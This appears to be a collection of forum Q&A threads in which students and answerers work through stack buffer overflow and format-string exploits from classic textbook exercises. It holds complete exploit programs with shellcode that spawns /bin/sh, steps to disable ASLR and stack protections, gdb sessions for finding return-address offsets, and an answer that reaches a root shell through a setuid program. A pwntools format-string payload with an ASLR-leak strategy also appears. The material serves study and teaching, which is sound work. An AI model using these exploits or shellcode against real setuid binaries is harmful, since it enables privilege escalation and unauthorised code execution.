I'm basically trying to run a buffer overflow attack. Based on what I understand we need 3 parts:
A nope sled
Shell Code to execute
Return address
The problem I'm having is in 64 bit linux the return address is something like 0x00007fffffffdcf2. In Strcpy if a null character is seen then it will stop copying. So basically in the end I endup with something like this:
0x7fffffffe233: 0x9090909090909090 0x9090909090909090
0x7fffffffe243: 0x9090909090909090 0x9090909090909090
0x7fffffffe253: 0x9090909090909090 0x9090909090909090
0x7fffffffe263: 0x9090909090909090 0x9090909090909090
0x7fffffffe273: 0xb099c931db31c031 0x6851580b6a80cda4
0x7fffffffe283: 0x69622f6868732f2f 0x8953e28951e3896e
0x7fffffffe293: 0x909090909080cde1 0x43007fffffffdcf2 <<< This line
If you look at the last 8 bytes instead of
0x00007fffffffdcf2
we have
0x43007fffffffdcf2
I'm assuming the 43 is just garbage data at the start. So basically is there any way to overcome this or does buffer over flow attacks not work on 64 bit systems for the strcpy function?
This is my code (based off the book the art of exploitation):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80\x90\x90\x90\x90\x90";
int main(int argc, char *argv[]) {
uint64_t i;
uint64_t ret;
uint64_t offset=270;
char *command, *buffer, *test;
command = (char *) malloc(200);
test = (char *)malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = ((uint64_t)(&i)- offset); // set return address
for(i=0; i < 200; i+=8) // fill buffer with return address
memcpy((uint64_t *)((uint64_t)buffer+i), &ret, 8);
memset(buffer, 0x90, 64); // build NOP sled
memcpy(buffer+64, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
}
Any help will be greatly appreciated.
I was able to modify your sample code to get it to work in 64-bit with the notesearch program from the book.
Many of the protections in modern OSes and build tools must be turned off for this to work, but it is obviously for educational purposes, so that's reasonable for now.
First, turn off ASLR on your system with:
echo 0 > /proc/sys/kernel/randomize_va_space
This must be done as root, and it won't work with sudo, since the sudo will only apply to the echo command, not the redirection. Just sudo -i first, then run it.
Next, the notesearch program must be compiled with two important safety protections disabled. By default, your program would be built with stack canaries for the detection of buffer overflows and also a non-executable stack, since there's usually no legitimate reason to run code from the stack.
gcc -g -z execstack -fno-stack-protector -o notesearch notesearch.c
Now, the exploit code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
char shellcode[]=
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53"
"\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main(int argc, char *argv[]) {
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
memset(buffer, 'A', 0x78); // Fill buffer up to return address
*(unsigned long long*)(buffer+0x78) = 0x7fffffffe1c0;
memcpy(buffer, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
}
This problem can be narrowed down to a simple return address overwrite, so no NOP sled is required. Additionally, the shellcode from your original post was for 32-bit only. The 64-bit shellcode I used is from http://shell-storm.org/shellcode/files/shellcode-806.php.
The big question: Where did 0x78 and 0x7fffffffe1c0 come from? I started out with a number larger than 0x78 since I didn't know what to use. I just guessed 175 since it's bigger than the target buffer. So the first iteration had these lines:
memset(buffer, 'A', 175); // Overflow buffer
//*(unsigned long long*)(buffer+???) = ???;
Now to try that out. Note that, while testing, I used a non-setuid version of notesearch to facilitate successful core dumps.
ulimit -c unlimited
gcc myexp.c
./a.out
The notesearch program crashed and created a core file:
deb82:~/notesearch$ ./a.out
[DEBUG] found a 15 byte note for user id 1000
-------[ end of note data ]-------
Segmentation fault (core dumped)
deb82:~/notesearch$
Running gdb ./notesearch core shows:
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x00000000004008e7 in main (argc=2, argv=0x7fffffffe2c8) at notesearch.c:35
35 }
(gdb)
Good. It crashed. Why?
(gdb) x/1i $rip
=> 0x4008e7 <main+158>: retq
(gdb) x/1gx $rsp
0x7fffffffe1e8: 0x4141414141414141
(gdb)
It's trying to return to our controlled address (all A's). Good. What offset from our controlled string (searchstring) points to the return address?
(gdb) p/x (unsigned long long)$rsp - (unsigned long long)searchstring
$1 = 0x78
(gdb)
So now we try again, with these changes:
memset(buffer, 'A', 0x78); // Fill buffer up to return address
*(unsigned long long*)(buffer+0x78) = 0x4242424242424242;
Again, we get a core dump. Analyzing it shows:
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x00000000004008e7 in main (argc=2, argv=0x7fffffffe318) at notesearch.c:35
35 }
(gdb) x/1i $rip
=> 0x4008e7 <main+158>: retq
(gdb) x/1gx $rsp
0x7fffffffe238: 0x4242424242424242
(gdb)
Good, we controlled the return address more surgically. Now, what do we want to put there instead of a bunch of B's? Search a reasonable range of stack for our shellcode (0xbb48c031 is a DWORD corresponding to the first 4 bytes in the shellcode buffer). Just mask off the lower 3 digits and start at the beginning of the page.
(gdb) find /w 0x7fffffffe000,$rsp,0xbb48c031
0x7fffffffe1c0
1 pattern found.
(gdb)
So our shellcode exists on the stack at 0x7fffffffe1c0. This is our desired return address. Updating the code with this information, and making notesearch setuid root again, we get:
deb82:~/notesearch$ whoami
user
deb82:~/notesearch$ ./a.out
[DEBUG] found a 15 byte note for user id 1000
-------[ end of note data ]-------
# whoami
root
#
The code I provided may work as is on your setup, but most likely, you'll probably need to follow a similar path to get the correct offsets to use.
Related
In this example exploit the layout is [NOP-Block][Shellcode][Return Adress]
But why cant I just overwrite the original return Address with the Adress to my Shellcode ?
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // set return address
for(i=0; i < 160; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
free(command);
}
NOP-slide is a technique used when you can't precisely predict at which offset the execution will begin when the shell gets executed, you have to pad the shellcode with nops in the preamble to ensure the execution doesn't start in the 'middle' of your shellcode.
The CPU simply slides through the nops without impacting any registers except the instruction pointer.
In your code, I think you're triangulating the return address from main in notesearch using the address of a local variable i in your current process. Based on the compiler and platform the actual location from where the execution starts in the copied buffer (which is also argv[1]) could be off by few bytes. So you need to add a slide of few bytes to ensure things work.
NOP-block is used in the stack overflow exploitation because you don't may predict where the return address is placed.
When you exploit vulnerability, you can't affect on the execution flow directly - it means that you can't run your shellcode, but can place the piece of code in the memory of vulnerable application and expect it to run by the execution flow.
You can't predict the size of a function where vulnerable string is situated, so adding NOPs to the shellcode increases chanses to overwrite code at return address and succesfully execute your payload after the NOPs.
I have a program that loops and reads from stdin with fgets. The whole read loop is located in a function and I am trying to overwrite the return address of the function with the printf vulnerability. The return address is located at 0xbffff0fc (it is 0x2a20029e) and the buffer on the stack is identified by the input AAAA (0x41414141).
0xbffff0b0: 0x0000000a 0x00000020 0xb7fc7c20 0xb7e4fd94
0xbffff0c0: 0xb7fc73cc 0xbffff0dc 0x41414141 0x66740000
0xbffff0d0: 0x785c2220 0x785c3439 0x785c3739 0x785c3430
0xbffff0e0: 0x29223830 0xb7fc0000 0x5da95700 0x00000000
0xbffff0f0: 0x00000000 0xb7fc7000 0x00000000 0x2a20029e
So from my understanding I need to write 0xbffff0fc in the buffer and then I can use %x%6$n (k is an integer) to write an arbitrary value to 0xbffff0fc.
So the input would look something like this: <0xbffff0fc>%x%6$n. The problem I have is how do I write <0xbffff0fc> so that it is 0xbffff0fc on the stack. With the ASCII characters alone I cannot really do this.
Edit: added the program
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int function1()
{
char line[32];
size_t size;
while(1)
{
if (!fgets(line, sizeof(line), stdin))
{
return 0;
}
size = strlen(line);
line[size - 1] = '\0';
printf(line);
printf("\n");
}
return 0;
}
int main(int argc, char** argv)
{
function1();
return 0;
}
Happy to see people ask about security question here.
I think you could take a look of pwntools.
This is a tool for writing exploit.
Here is a simple code snippet.
#!/usr/bin/env python2
from pwn import *
# a.out is your executable file
s = process('./a.out')
payload = p32(0xbffff0fc)+"%7$p"
# p32() is a function to pack your integer in little endian order
s.sendline(payload)
s.interactive()
The output will be some unprintable characters plus 0xbffff0fc
▒▒0xbffff0fc
For further explanation, line variable is already on stack.
But you have to disable the ASLR protection to make your stack address fixed.
Otherwise, every time you execute your program.
Your line variable address will be different.
Disable it:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Enable it:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
But, I don't think your problem will be how to write 0xbffff0fc to stack.
Your problem should be how to get the variable address of line with ASLR enabled.
Here is the strategy.
Leak the ebp of stack frame then you could calculate the address of line variable.(This part is important)
Do the same thing of the previous sample exploit.
Then, use %n to rewrite return address of function.
If you have question, feel free to ask me.
I'm looking at aleph's article on phrack magazine. The code below can also be found there.
We have a vulnerable executable which it's code is:
vulnerable.c
void main(int argc, char *argv[]) {
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}
Now, since we don't really know, when trying to attack that executable (by overflowing buffer), what is the address of buffer. We need to know it's address because we want to override the ret to point to the beginning of buffer (in which we put our shellcode).
The guessing procedure that is described in the article is as follows:
We can create a program that takes as a parameter a buffer size, and
an offset from its own stack pointer (where we believe the buffer we
want to overflow may live). We'll put the overflow string in an
environment variable so it is easy to manipulate:
exploit2.c
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
char shellcode[] = //this shellcode merely opens a shell
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
Now we can try to guess what the buffer and offset should be:
[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$
I don't understand what does the writer meant to present, in explot2.c we guess the size of the buffer in vulnerable.c and it's offset from the stack pointer.
Why do we apply this offset on the stack pointer of exploit2?
How does this effect vulnerable?
What's the purpose of exploit2.c except from building the EGG environment variable?
Why do we call system("/bin/bash"); at the end?
What's going on between vulnerable and exploit2 in general?
The only purpose of exploit2 is building the egg variable, which needs to be passed as a parameter to vulnerable. It could be modified so to call vulnerable on its own.
The shellcode variable contains machine code for a function that invokes a shell. The goal is to copy this code into the buffer variable of vulnerable, and then overwrite the return address of the main function of vulnerable to point to the entry point of the shell code, that is, the address of the variable buffer. The stack grows downward: the stack pointer register (esp in 32-bit x86 architecture) contains the smallest address used by local variables of the current function, at higher addresses we find other local variables, then the return address of the currently executing function, then the variables of the callee and so on. An overflow write on a variable, such as buffer in vulnerable, would overwrite whatever follows buffer in memory, in this case the return address of main since buffer is a local variable of the main function.
Now that we know what to do, we need some information:
the address of the buffer variable, let's call it bp
the address of the return address of the main function, let's call it ra
If we had this information we could forge an exploit string EGG such that:
its length is ra - bp + sizeof(void*) in order to overflow the string buffer enough to overwrite the return address (sizeof (void* is the size of the return address)
it contains the exploit code to be executed at the beginning, and the address bp at the end
Note that we only need a rough guess for the length of the string because we can just make the string longer and keep repeating the address bp all over it, but we need to compute the exact bp address if we want the shellcode to be executed properly.
We start by guessing the string length needed to overwrite the return value: 600 is enough, because it triggers an Illegal instruction error. Once we find it, we can look for the bp address.
We know that bp is around the bottom of the stack, because that's where the local variables are stored. We assume that the address for the stack are the same in vulnerable and exploit2, we measure the stack address in exploit2 and start poking around changing offset. Once we get the right offset (the one which result in addr being equal to the target bp) the shell code will be executed when the control flow return from the main function of vulnerable.
If you want to test this code, remember that this does not work in modern machines because of the execution prevention technology which is used by operating system to marks pages containing data as not executable.
I am working on a homework assignment concerning a bufferOverflow.
The test program uses fread() to read 4096 bytes from a file.
When I set kernel.randomize_va_space to 0, and run the program in gdb, I can see that the fread() command returns nothing.
If I set kernel.randomize_va_space to either 1 or 2, and rerun the program using gdb, I can see the expected data in the buffer where fread stores the file.
Why would ASLR cause fread to stop working properly?
FYI: this is ubuntu 12.0.4 64-bit, and the program was compiled with the -c99 and -m32 flags to gcc.
The test program I was given for this assignment is as follows:
#include <stdio.h>
#define READSIZE 0x1000
void countLines(FILE* f){
char buf[0x400];//should be big enough for anybody
int lines=0;
fread(buf,READSIZE,1,f);
for(int i=0;i<0x400;i++)
if(buf[i] == '\n')
lines++;
printf("The number of lines in the file is %d\n",lines);
return;
}
int main(int argc,char** argv){
if(argc<2){
printf("Proper usage is %s <filename>\n",argv[0]);
exit(0);
}
FILE* myfile=fopen(argv[1],"r");
countLines(myfile);
return 0;
}
When I run it in gdb, I place my breakpoint on the line:
for(int i=0;i<0x400;i++)
In gdb, I then do the following:
(gdb) x $esp
0xbffff280 0xbffff298
If I do:
(gdb) x /12wx $esp
I can see that the first 4 bytes are the address of buf, the next 4 bytes are the 0x1000 passed to fread and the next 4 bytes are 0x01 which was also passed to fread.
This looks to me like the stack frame for the fread function not the stack frame for countLines().
Why wouldn't $esp be pointing to the current stack frame not hte one that was just exited?
Update
I modified the code as follows:
#include <stdio.h>
#define READSIZE 0x1000
void countLines(FILE* f){
char buf[0x400];//should be big enough for anybody
int lines=0;
int ferr=0;
fread(buf,READSIZE,1,f);
ferr=ferror(f);
if (ferr)
printf("I/O error when reading (%d)\n",ferr);
else if (feof(f))
printf("End of file reached successfully\n");
for(int i=0;i<0x400;i++)
if(buf[i] == '\n')
lines++;
printf("The number of lines in the file is %d\n",lines);
return;
}
int main(int argc,char** argv){
if(argc<2){
printf("Proper usage is %s <filename>\n",argv[0]);
exit(0);
}
FILE* myfile=fopen(argv[1],"r");
countLines(myfile);
return 0;
}
When I run it with ASLR diabled, I get:
I/O errorwhen readin (1)
If I run it with ASLR enabled (value=1),
get
EOF reached.
fread() reads up to nitems elements of size size into an array pointed to by ptr. It is the programmer's responsability to ensure the array is big enough.
That last part is important. fread() has no way of knowing the actual size of the array. It will happily read stuff and store it past the end of the array. Accessing past the end of the array results in Undefined Behavior: there is no guarantee as to what will happen, notably, in this case, it can result in arbitrary code execution.
As to why sometimes it bombs and sometimes not:
With no ASLR you had this:
(gdb) x $esp
0xbffff280 0xbffff298
with the buffer at address 0xbffff298. The top of the stack is at 0xbfffffff, which leaves 3432 bytes between the start of the buffer and the end of the stack. When trying to read into the buffer, the process has nothing mapped at 0xc0000000 in userspace (which you can check with cat /proc/<pid>/maps, to see the process' userspace mappings) , so the underlying read() system call fails with EFAULT - Bad address.
With ASLR, there is some randomization for stack placement. The stack base has ~11 bits 1 of randomness on x86 (arch/x86/include/asm/elf.h):
/* 1GB for 64bit, 8MB for 32bit */
#define STACK_RND_MASK (test_thread_flag(TIF_IA32) ? 0x7ff : 0x3fffff)
and the stack top has 9 additional bits of randomness (arch/x86/kernel/process.c:arch_align_stack(), called from fs/binfmt_elf.c:create_elf_tables()):
if (!(current->personality & ADDR_NO_RANDOMIZE) && randomize_va_space)
sp -= get_random_int() % 8192;
return sp & ~0xf;
So, arch_align_stack() offsets the stack top [0,8176] bytes, in 16 byte increments, i.e, the initial stack pointer may be moved 0, 16, 32, ..., 8176 bytes from its original position.
So, with your 3432 bytes (the buffer, plus space for argc, argv, envp, auxp, assorted pointers to them, and padding), plus the variable ASLR offset, you have only ~8% chance of having less than 4096 bytes on your stack, which would allow you to see the SEGV with ASLR on. Just try a lot of times, and you should see it about once every 12 tries.
1 The stack base can also be moved an additional page, see fs/exec.c:setup_arg_pages():
stack_top = arch_align_stack(stack_top);
stack_top = PAGE_ALIGN(stack_top);
As for the fread() arguments on stack, that's correct - these are stored before the caller's BP value is pushed on the stack by the callee, so they are part of the caller's stack frame - check x86 stack frame description. On x86-64 you won't see them since they are passed to the callee in registers.
As for the ASLR error, get the error description with perror(). Or better install debuginfo packages for glibc, so that you can trace the code into fread() itself.
I never figured out why the fread() function ws failing so I replaced it with an fgets() function and finished the assignment.
Thank you everyone for all the help.
This forum is great!
I'm a computer engineering student who is studying how stack buffer overflows work. The book I'm reading is The Art of Exploitation (1st edition) by Jon Erickson.
In order to practice what I'm studying I've installed Damn Vulnerable Linux distribution in a virtual machine. I've disabled ASRL (kernel.randomize_va_space = 0), I've compiled the following codes with GCC 3.4.6, I'm using GDB 6.6 and the kernel of the distribution is 2.6.20. My computer has an Intel processor.
The vulnerable program (test2) is created by root and is set as setuid.
The vulnerable code is the following:
//test2.c
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
While the exploit code, created by normal (non root) user, is the following:
//main.c
#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
unsigned long sp(void)
{
__asm__("movl %esp, %eax");
}
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer2, *ptr;
offset = 0;
esp = sp();
ret = esp - offset;
printf("Stack pointer (ESP) : 0x%x\n", esp);
printf(" Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr : 0x%x\n", ret);
buffer2 = malloc(600);
ptr = buffer2;
addr_ptr = (long *)ptr;
for (i = 0; i < 600; i += 4)
{
*(addr_ptr++) = ret;
}
for (i = 0; i < 200; i++)
{
buffer2[i] = '\x90';
}
ptr = buffer2 + 200;
for (i = 0; i < strlen(shellcode); i++)
{
*(ptr++) = shellcode[i];
}
buffer2[600 - 1] = 0;
execl("/root/workspace/test2/Release/test2", "test2", buffer2, 0);
free(buffer2);
return 0;
}
The program works, it exploits the buffer overflow vulnerability in test2 and gives me a root shell.
What I don't understand, even after reading the book several times and trying to find answers on the internet, is why the value of the stack pointer that we store in the variable esp is the return address of our shellcode. I've disassembled the program with GDB and everything works as the author says but I don't understand why this happens.
I would have liked to show you how the disassembled program looked like and how the memory looked like during execution, but I cannot copy/paste from the guest machine on the virtual machine and I'm not allowed to insert images in my question. So I can only try to describe what happens during execution of the program main (the one that exploits the BOF in test2):
disassembling main, I see that 28 bytes are allocated on the stack (7 variables * 4 bytes). Then the function sp() is called and the value of the stack pointer is stored in esp. The value stored in the variable esp is 0xbffff344. Then, as you can see, we have some printf, we store the payload in buffer2 and then we call the execl function passing buffer2 as an argument.
now the root shell shows up and then the program exits. Disassembling the program after setting a different offset, I can clearly see that 0xbffff344 is precisely the address where the payload is stored when test2 is executed. Could you explain me how does this happen? Does execl sets a new stack frame for the test2 program? In main.c only 28 bytes are allocated on the stack, while in test2 500 bytes are allocated on the stack (for buffer2). So how do I know that the stack pointer that i get in main.c is precisely the return address of the shellcode?
I thank you and apologize if I wrote some stupid things.
Could you explain me how does this happen?
When ASLR is disabled every executable starts at the same address, so given the stack pointer you are able to guess the required offset to find your buffer location in test2. This is also where the NOP sled becomes useful, since it give you multiple possible hit if the offset is not the exact displacement to the shellcode.
That being said the fact the the value of ESP in the main function of your exploit program IS the location of the executed buffer in test2 seems incorrect. Are you sure you just don't misinterpreted gdb results?
You should be able to compute the offset of the buffer using the following : esp - 500 + 28.
Note that you should always wear gloves when using such formula : how the compiler handles locals, (size, order, etc) can vary.
So how do I know that the stack pointer that i get in main.c is precisely the return address of the shellcode?
Well You don't. It depends of the machine, how the program was compiled etc.
Does execl sets a new stack frame for the test2 program?
From the execve man pages :
The exec family of functions shall replace the current process image
with a new process image. The new image shall be constructed from a
regular, executable file called the new process image file. There
shall be no return from a successful exec, because the calling process
image is overlaid by the new process image.
The stack is overridden by a new one for test2.
Hope it helps :)